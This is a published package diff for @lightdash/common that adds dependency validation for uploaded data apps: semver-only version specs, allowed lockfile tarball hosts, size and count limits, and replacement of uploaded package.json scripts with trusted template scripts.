@lightdash/common 0.3326.1 → 0.3327.0

package/dist/cjs/ee/apps/code.d.ts

@@ -1,6 +1,8 @@
 import { type ApiSuccess } from '../../types/api/success';
 import { type DataAppTemplate } from './types';
 export declare const currentDataAppCodeVersion: 1;
+export declare const MAX_DECLARED_DEPENDENCIES = 60;
+export declare const MAX_LOCKFILE_BYTES: number;
 export type DataAppManifest = {
     codeVersion: 1;
     appUuid: string;
@@ -16,9 +18,14 @@ export type DataAppCodeFile = {
     path: string;
     contentBase64: string;
 };
+export type DataAppDependencies = {
+    packageJson: string;
+    lockfile: string;
+};
 export type DataAppCode = {
     manifest: DataAppManifest;
     files: DataAppCodeFile[];
+    dependencies?: DataAppDependencies;
 };
 export type DataAppContextFile = {
     path: string;
@@ -49,5 +56,34 @@ export type ApiImportAppCodeResponse = ApiSuccess<{
     version: number;
     action: 'create' | 'append';
 }>;
-export declare function validateDataAppCode(value: unknown): DataAppCode;
+export type DataAppDepsValidationResult = {
+    customDeps: Record<string, string>;
+};
+/**
+ * Returns `packageJson` with its `scripts` replaced by the trusted template
+ * scripts. The build sandbox runs `pnpm build` against this file, and download
+ * round-trips it to other developers' machines — in both places the script
+ * commands must stay server-controlled, not uploader-controlled.
+ */
+export declare function sanitizeAppPackageJsonScripts(packageJson: string, templateScripts: Record<string, string>): string;
+/**
+ * Validates a declared dependency set against an optional template baseline.
+ *
+ * Rules enforced:
+ *  1. `packageJson` parses as JSON with a `dependencies` object.
+ *  2. Every spec is a registry semver spec (git+/file:/workspace:/http(s): rejected).
+ *  3. Direct-dependency count ≤ MAX_DECLARED_DEPENDENCIES.
+ *  4. `lockfile` is non-empty, ≤ MAX_LOCKFILE_BYTES, and mentions every custom
+ *     package name (cheap consistency guard).
+ *
+ * Returns the "custom set": declared deps whose name+version differ from the
+ * template baseline (new packages or version overrides).
+ */
+export declare function validateDataAppDependencies(deps: unknown, opts: {
+    templateDependencies: Record<string, string>;
+    allowedTarballHosts?: string[];
+}): DataAppDepsValidationResult;
+export declare function validateDataAppCode(value: unknown, opts?: {
+    templateDependencies?: Record<string, string>;
+}): DataAppCode;
 //# sourceMappingURL=code.d.ts.map

package/dist/cjs/ee/apps/code.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,UAAU,EAAE,MAAM,yBAAyB,CAAC;AAC1D,OAAO,EAAE,KAAK,eAAe,EAAE,MAAM,SAAS,CAAC;AAE/C,eAAO,MAAM,yBAAyB,EAAG,CAAU,CAAC;AAEpD,MAAM,MAAM,eAAe,GAAG;IAC1B,WAAW,EAAE,CAAC,CAAC;IACf,OAAO,EAAE,MAAM,CAAC;IAChB,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,EAAE,MAAM,CAAC;IAChB,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IAGpB,QAAQ,EAAE,OAAO,CAAC,eAAe,EAAE,QAAQ,CAAC,GAAG,IAAI,CAAC;IACpD,YAAY,EAAE,MAAM,CAAC;IACrB,kBAAkB,CAAC,EAAE,MAAM,CAAC;CAC/B,CAAC;AAEF,MAAM,MAAM,eAAe,GAAG;IAC1B,IAAI,EAAE,MAAM,CAAC;IACb,aAAa,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF,MAAM,MAAM,WAAW,GAAG;IACtB,QAAQ,EAAE,eAAe,CAAC;IAC1B,KAAK,EAAE,eAAe,EAAE,CAAC;CAC5B,CAAC;AAEF,MAAM,MAAM,kBAAkB,GAAG;IAC7B,IAAI,EAAE,MAAM,CAAC;IACb,aAAa,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF,MAAM,MAAM,mBAAmB,GAAG;IAC9B,YAAY,EAAE,kBAAkB,GAAG,IAAI,CAAC;IACxC,MAAM,EAAE,kBAAkB,EAAE,CAAC;IAC7B,iBAAiB,EAAE,MAAM,CAAC;CAC7B,CAAC;AAEF,MAAM,MAAM,cAAc,GAAG;IACzB,aAAa,EAAE,kBAAkB,CAAC;IAClC,UAAU,EAAE,kBAAkB,GAAG,IAAI,CAAC;IACtC,aAAa,EAAE,kBAAkB,CAAC;IAClC,KAAK,EAAE,mBAAmB,CAAC;CAC9B,CAAC;AAEF,MAAM,MAAM,mBAAmB,GAAG,WAAW,GAAG;IAAE,OAAO,EAAE,cAAc,CAAA;CAAE,CAAC;AAE5E,MAAM,MAAM,qBAAqB,GAAG,UAAU,CAAC,mBAAmB,CAAC,CAAC;AAEpE,MAAM,MAAM,wBAAwB,GAAG;IACnC,IAAI,EAAE,WAAW,CAAC;IAElB,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,SAAS,CAAC,EAAE,MAAM,CAAC;CACtB,CAAC;AAEF,MAAM,MAAM,wBAAwB,GAAG,UAAU,CAAC;IAC9C,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,QAAQ,GAAG,QAAQ,CAAC;CAC/B,CAAC,CAAC;AAeH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,WAAW,CAqB/D"}
+{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"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"}

package/dist/cjs/ee/apps/code.js

@@ -1,8 +1,142 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.currentDataAppCodeVersion = void 0;
+exports.MAX_LOCKFILE_BYTES = exports.MAX_DECLARED_DEPENDENCIES = exports.currentDataAppCodeVersion = void 0;
+exports.sanitizeAppPackageJsonScripts = sanitizeAppPackageJsonScripts;
+exports.validateDataAppDependencies = validateDataAppDependencies;
 exports.validateDataAppCode = validateDataAppCode;
 exports.currentDataAppCodeVersion = 1;
+exports.MAX_DECLARED_DEPENDENCIES = 60;
+exports.MAX_LOCKFILE_BYTES = 2 * 1024 * 1024; // 2 MB
+// Positive allowlist: a spec must BE a semver range (exact versions, ^/~,
+// comparators, hyphen and x-ranges, || unions). Everything else — git hosts
+// (github:/gitlab:/bitbucket:/gist:), file:/link:/workspace:, URLs, bare
+// relative paths, dist-tags like "latest" — is rejected, so validation agrees
+// with what the sandbox egress allowlist actually permits.
+const SEMVER_ATOM = String.raw `(?:[<>]=?|=|~|\^)?\s*v?(?:\d+|[xX*])(?:\.(?:\d+|[xX*]))?(?:\.(?:\d+|[xX*]))?(?:-[0-9A-Za-z][0-9A-Za-z.-]*)?(?:\+[0-9A-Za-z][0-9A-Za-z.-]*)?`;
+const SEMVER_RANGE_PART = `${SEMVER_ATOM}(?:\\s+(?:-\\s+)?${SEMVER_ATOM})*`;
+const SEMVER_RANGE_RE = new RegExp(`^\\s*${SEMVER_RANGE_PART}(?:\\s*\\|\\|\\s*${SEMVER_RANGE_PART})*\\s*$`);
+const NPM_PACKAGE_NAME_RE = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
+function isRegistrySemverSpec(spec) {
+    if (spec.startsWith('npm:')) {
+        // npm:<pkg>@<range> alias — both parts must independently validate.
+        // An alias without an explicit range would resolve a dist-tag; reject
+        // it like any other non-semver spec.
+        const rest = spec.slice(4);
+        const lastAt = rest.lastIndexOf('@');
+        if (lastAt <= 0)
+            return false;
+        return (NPM_PACKAGE_NAME_RE.test(rest.slice(0, lastAt)) &&
+            SEMVER_RANGE_RE.test(rest.slice(lastAt + 1)));
+    }
+    return SEMVER_RANGE_RE.test(spec);
+}
+// pnpm lockfiles record off-registry packages as `tarball: <url>` under
+// `resolution:`; registry packages carry only an integrity hash. Any tarball
+// URL therefore points outside the default registry flow and its host must be
+// explicitly allowed.
+const LOCKFILE_TARBALL_RE = /\btarball:\s*['"]?(https?:\/\/[^\s'",}]+)/g;
+function validateLockfileTarballHosts(lockfile, allowedHosts) {
+    const allowed = new Set(allowedHosts.map((h) => h.toLowerCase()));
+    for (const match of lockfile.matchAll(LOCKFILE_TARBALL_RE)) {
+        let host;
+        try {
+            host = new URL(match[1]).hostname.toLowerCase();
+        }
+        catch {
+            throw new Error(`Invalid dependencies: lockfile contains an unparseable tarball URL: "${match[1]}"`);
+        }
+        if (!allowed.has(host)) {
+            throw new Error(`Invalid dependencies: lockfile resolves a package from "${host}", which is not an allowed registry host`);
+        }
+    }
+}
+/**
+ * Returns `packageJson` with its `scripts` replaced by the trusted template
+ * scripts. The build sandbox runs `pnpm build` against this file, and download
+ * round-trips it to other developers' machines — in both places the script
+ * commands must stay server-controlled, not uploader-controlled.
+ */
+function sanitizeAppPackageJsonScripts(packageJson, templateScripts) {
+    let parsed;
+    try {
+        parsed = JSON.parse(packageJson);
+    }
+    catch {
+        // Callers validate JSON before sanitizing; keep the original on failure.
+        return packageJson;
+    }
+    return JSON.stringify({ ...parsed, scripts: templateScripts }, null, 4).concat('\n');
+}
+/**
+ * Validates a declared dependency set against an optional template baseline.
+ *
+ * Rules enforced:
+ *  1. `packageJson` parses as JSON with a `dependencies` object.
+ *  2. Every spec is a registry semver spec (git+/file:/workspace:/http(s): rejected).
+ *  3. Direct-dependency count ≤ MAX_DECLARED_DEPENDENCIES.
+ *  4. `lockfile` is non-empty, ≤ MAX_LOCKFILE_BYTES, and mentions every custom
+ *     package name (cheap consistency guard).
+ *
+ * Returns the "custom set": declared deps whose name+version differ from the
+ * template baseline (new packages or version overrides).
+ */
+function validateDataAppDependencies(deps, opts) {
+    if (!deps || typeof deps !== 'object')
+        throw new Error('Invalid dependencies: not an object');
+    const d = deps;
+    if (typeof d.packageJson !== 'string' || d.packageJson.length === 0)
+        throw new Error('Invalid dependencies: packageJson must be a non-empty string');
+    if (typeof d.lockfile !== 'string' || d.lockfile.length === 0)
+        throw new Error('Invalid dependencies: lockfile must be a non-empty string');
+    if (Buffer.byteLength(d.lockfile, 'utf-8') > exports.MAX_LOCKFILE_BYTES)
+        throw new Error(`Invalid dependencies: lockfile exceeds ${exports.MAX_LOCKFILE_BYTES / 1024 / 1024} MB limit`);
+    if (opts.allowedTarballHosts !== undefined) {
+        validateLockfileTarballHosts(d.lockfile, opts.allowedTarballHosts);
+    }
+    let parsed;
+    try {
+        parsed = JSON.parse(d.packageJson);
+    }
+    catch (err) {
+        const msg = err instanceof Error ? err.message : String(err);
+        throw new Error(`Invalid dependencies: packageJson is not valid JSON: ${msg}`);
+    }
+    if (!parsed ||
+        typeof parsed !== 'object' ||
+        !('dependencies' in parsed) ||
+        typeof parsed.dependencies !== 'object' ||
+        parsed.dependencies === null ||
+        Array.isArray(parsed.dependencies)) {
+        throw new Error('Invalid dependencies: packageJson must have a "dependencies" object');
+    }
+    const declared = parsed
+        .dependencies;
+    const entries = Object.entries(declared);
+    if (entries.length > exports.MAX_DECLARED_DEPENDENCIES) {
+        throw new Error(`Invalid dependencies: declared dependency count (${entries.length}) exceeds maximum (${exports.MAX_DECLARED_DEPENDENCIES})`);
+    }
+    for (const [name, spec] of entries) {
+        if (typeof spec !== 'string') {
+            throw new Error(`Invalid dependencies: version spec for "${name}" must be a string`);
+        }
+        if (!isRegistrySemverSpec(spec)) {
+            throw new Error(`Invalid dependencies: spec for "${name}" is not a registry semver spec: "${spec}"`);
+        }
+    }
+    // Compute the custom set and validate lockfile mentions each custom name.
+    const customDeps = {};
+    for (const [name, spec] of entries) {
+        // typeof spec already verified as string in the loop above.
+        if (typeof spec === 'string' &&
+            opts.templateDependencies[name] !== spec) {
+            if (!d.lockfile.includes(name)) {
+                throw new Error(`Invalid dependencies: "${name}" is declared in package.json but not found in pnpm-lock.yaml. Run 'pnpm install --lockfile-only' to update the lockfile, then upload again`);
+            }
+            customDeps[name] = spec;
+        }
+    }
+    return { customDeps };
+}
 const isSafeRelPath = (p) => {
     if (typeof p !== 'string' || p.length === 0 || p.startsWith('/'))
         return false;
@@ -12,7 +146,7 @@ const isSafeRelPath = (p) => {
         .split('/')
         .every((segment) => segment.length > 0 && segment !== '.' && segment !== '..');
 };
-function validateDataAppCode(value) {
+function validateDataAppCode(value, opts) {
     const v = value;
     if (!v || typeof v !== 'object')
         throw new Error('Invalid app bundle: not an object');
@@ -28,6 +162,21 @@ function validateDataAppCode(value) {
         if (typeof f?.contentBase64 !== 'string')
             throw new Error(`Invalid app bundle: file "${f?.path}" missing content`);
     }
+    if (v.dependencies !== undefined) {
+        const d = v.dependencies;
+        if (!d || typeof d !== 'object')
+            throw new Error('Invalid app bundle: dependencies must be an object');
+        if (typeof d.packageJson !== 'string')
+            throw new Error('Invalid app bundle: dependencies.packageJson must be a string');
+        if (typeof d.lockfile !== 'string')
+            throw new Error('Invalid app bundle: dependencies.lockfile must be a string');
+        // Full validation when a template baseline is available.
+        if (opts?.templateDependencies !== undefined) {
+            validateDataAppDependencies(v.dependencies, {
+                templateDependencies: opts.templateDependencies,
+            });
+        }
+    }
     return v;
 }
 //# sourceMappingURL=code.js.map

package/dist/cjs/ee/apps/code.js.map

@@ -1 +1 @@
-{"version":3,"file":"code.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":";;;AA6EA,kDAqBC;AA/FY,QAAA,yBAAyB,GAAG,CAAU,CAAC;AA6DpD,MAAM,aAAa,GAAG,CAAC,CAAS,EAAW,EAAE;IACzC,IAAI,OAAO,CAAC,KAAK,QAAQ,IAAI,CAAC,CAAC,MAAM,KAAK,CAAC,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC;QAC5D,OAAO,KAAK,CAAC;IACjB,qEAAqE;IACrE,qEAAqE;IACrE,OAAO,CAAC;SACH,KAAK,CAAC,GAAG,CAAC;SACV,KAAK,CACF,CAAC,OAAO,EAAE,EAAE,CACR,OAAO,CAAC,MAAM,GAAG,CAAC,IAAI,OAAO,KAAK,GAAG,IAAI,OAAO,KAAK,IAAI,CAChE,CAAC;AACV,CAAC,CAAC;AAEF,SAAgB,mBAAmB,CAAC,KAAc;IAC9C,MAAM,CAAC,GAAG,KAA6B,CAAC;IACxC,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;QAC3B,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,IAAI,CAAC,CAAC,CAAC,QAAQ,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ;QAC7C,MAAM,IAAI,KAAK,CAAC,sCAAsC,CAAC,CAAC;IAC5D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC;QACvB,MAAM,IAAI,KAAK,CAAC,mCAAmC,CAAC,CAAC;IACzD,KAAK,MAAM,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,CAAC;QACtB,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;YAC3B,MAAM,IAAI,KAAK,CAAC,iDAAiD,CAAC,CAAC;QACvE,IAAI,CAAC,aAAa,CAAC,CAAC,EAAE,IAAI,CAAC;YACvB,MAAM,IAAI,KAAK,CACX,yCAAyC,CAAC,EAAE,IAAI,GAAG,CACtD,CAAC;QACN,IAAI,OAAO,CAAC,EAAE,aAAa,KAAK,QAAQ;YACpC,MAAM,IAAI,KAAK,CACX,6BAA6B,CAAC,EAAE,IAAI,mBAAmB,CAC1D,CAAC;IACV,CAAC;IACD,OAAO,CAAgB,CAAC;AAC5B,CAAC"}
+{"version":3,"file":"code.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.ts"],"names":[],"mappings":"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